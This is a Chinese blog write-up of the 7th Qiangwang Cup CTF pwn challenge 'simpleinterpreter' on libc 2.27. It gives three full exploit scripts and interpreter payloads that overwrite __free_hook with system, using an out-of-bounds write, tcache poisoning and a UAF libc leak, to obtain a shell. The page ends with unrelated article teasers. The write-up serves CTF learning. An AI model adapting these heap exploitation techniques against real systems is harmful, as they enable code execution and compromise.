news 2026/5/8 12:00:43

第七届强网杯-PWN-【simpleinterpreter】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
第七届强网杯-PWN-【simpleinterpreter】

对于一个刚入门的三个月的菜鸡pwn手打算按照难度慢慢复现qwb的题目

先simpleinterpreter吧

simpleinterpreter libc 2.27

逆向

解释器相关用到的陌生函数

法1

方法1参考链接
程序实现了一个 C 语言解释器,可用的关键字如下:

charelseenumifintreturnsizeofwhileread close printf malloc free memset memcmp exitvoidmain
read close printf malloc free memset memcmp exit 和原生C 函数效果一样 可以尝试一下&*操作是否存在,存在利用那么更方便

漏洞就是越界,首先用malloc一个超大堆块分配到 mmap 内存,然后越界写 libc,将 free_hook 覆盖为 system 地址,然后释放”/bin/sh”即可 getshell(libc 版本是 2.27)

本地好像不行,得到的地址由mmap的第几次得到没有确定下来,导致与基地址偏移无法确定,但是第几次mmap的范围有限,所以如果不断尝试可能成功

该法对应的输入代码如下

main(){intsize;char*freehook;char*system;char*v;char*binsh;size=204800;binsh="/bin/sh";v=malloc(size);freehook=v-0xb2728;system=v-0x450bf0;*(int*)freehook=system;free(binsh);}

法二

方法二参考链接

该方法没有使用到*和&,单纯利用提供得关键字解决

  1. 分配一个大于fastbin的chunk和两个fastbin的chunk

  2. free第一个chunk,此时进入unsortedbin泄露libc地址

  3. free第二个和第三个chunk,然后修改第三个chunk的fd为free_hook-8的位置

  4. malloc两次

  5. 修改第二次的chunk的值为/bin/sh\x00和system地址,此时free_hook的内容被修改为system地址

  6. free第二次的chunk即可getshell

frompwnimport*sh=process('./simpleinterpreter')context.log_level="debug"code=''' int main() { void* p1; void* p2; void* p3; void* p4; void* p5; p1 = malloc(0x500); p2 = malloc(0x18); p3 = malloc(0x18); free(p1); printf(p1); free(p3); free(p2); read(0, p2, 8); p4 = malloc(0x18); p5 = malloc(0x18); read(0, p5, 0x10); free(p5); return 0; }'''sh.sendlineafter("Code size:",str(len(code)))sh.sendafter("Please give me the code to interpret:",code)libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0log.success("libc_base:\t"+hex(libc_base))free_hook=libc_base+0x3ed8e8system=libc_base+0x4f420sh.send(p64(free_hook-8))sh.send("/bin/sh\x00"+p64(system))sh.interactive()

法3

参考链接

与法1的区别在于泄露libc基地址方式不同而已
攻击思路先使用malloc申请一个大堆块,再malloc申请一个小堆块防止大堆块释放与TOPchunk合并,利用指针UAF读取free后残留的main_arena计算libc地址,最后利用指针改写__free_hook为system执行free即可getshell

from pwncli import*cli_script()set_remote_libc('libc-2.27.so')io:tube=gift.io elf:ELF=gift.elf libc:ELF=gift.libc#one_gadgets:list=get_current_one_gadget_from_libc(more=False)#CurrentGadgets.set_find_area(find_in_elf=True,find_in_libc=False,do_initial=False)payload='''intc;intmain(){intb;intlibc;int*free_hook;char*sh;libc=0;free_hook=libc+1;free_hook=malloc(0x500);sh=malloc(0x10);free(free_hook);libc=*free_hook-0x3ebca0;printf("%lx",libc);free_hook=libc+0x3ed8e8;*free_hook=libc+0x4F420;sh[0]='s';sh[1]='h';free(sh);return0;}'''sla('size:',str(len(payload)))sla('et:',payload)ia()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/3 15:21:45

GLM-TTS能否用于汽车广告配音?激情澎湃语音风格复现

GLM-TTS能否用于汽车广告配音?激情澎湃语音风格复现 在高端汽车广告的世界里,声音从来不只是“读出文字”那么简单。它要传递力量、点燃情绪、唤起观众对速度与自由的渴望。一段成功的广告配音,往往能让一辆静止的车听起来像即将撕裂空气的猛…

作者头像 李华
网站建设 2026/5/2 6:53:03

GLM-TTS能否用于婚礼主持词生成?新人专属声音定制服务

GLM-TTS能否用于婚礼主持词生成?新人专属声音定制服务 在一场婚礼上,当新郎用略带颤抖的声音说出“我愿意”时,全场宾客无不动容。但如果这个声音不是来自现场,而是通过音响缓缓响起——却依然能让人确信那就是他本人的语气、语调…

作者头像 李华
网站建设 2026/5/5 14:55:30

语音合成项目如何选型?GLM-TTS与其他开源模型对比分析

语音合成项目如何选型?GLM-TTS与其他开源模型对比分析 在智能客服、有声读物和虚拟主播日益普及的今天,用户对语音合成的要求早已从“能说话”转向“说得好、像真人”。传统TTS系统虽然稳定,但声音单一、情感呆板、多音字误读等问题始终难以根…

作者头像 李华
网站建设 2026/5/3 10:15:23

语音合成与私有化部署结合:保障金融行业语音数据安全性

语音合成与私有化部署结合:保障金融行业语音数据安全性 在金融服务日益智能化的今天,客户对交互体验的要求不断提升。从自动外呼到虚拟理财顾问,语音合成(TTS)技术正深度嵌入银行、保险、证券等核心业务流程中。然而&a…

作者头像 李华
网站建设 2026/5/1 5:04:50

GD32E10x 两块FLASH分别用来固化程序和存储数据

一、前期准备 1. 工具与环境 编译器:Keil MDK-ARM(需支持 GD32E10x,建议 V5.28+) 芯片库:GD32E10x 标准外设库(从兆易创新官网下载,含启动文件、寄存器定义) 调试器:J-Link/ST-Link(需配置 GD32E10x 的调试算法) 辅助工具:GD32 Flash Programmer(用于烧录和分…

作者头像 李华
网站建设 2026/5/1 22:57:39

GLM-TTS JSONL任务文件格式详解:避免批量失败的结构规范

GLM-TTS JSONL任务文件格式详解:避免批量失败的结构规范 在语音合成系统日益走向自动化与工业化的今天,一个看似不起眼的技术细节——任务配置文件的格式设计,往往决定了整个流水线是高效运转还是频繁“掉链子”。尤其是在使用如 GLM-TTS 这类…

作者头像 李华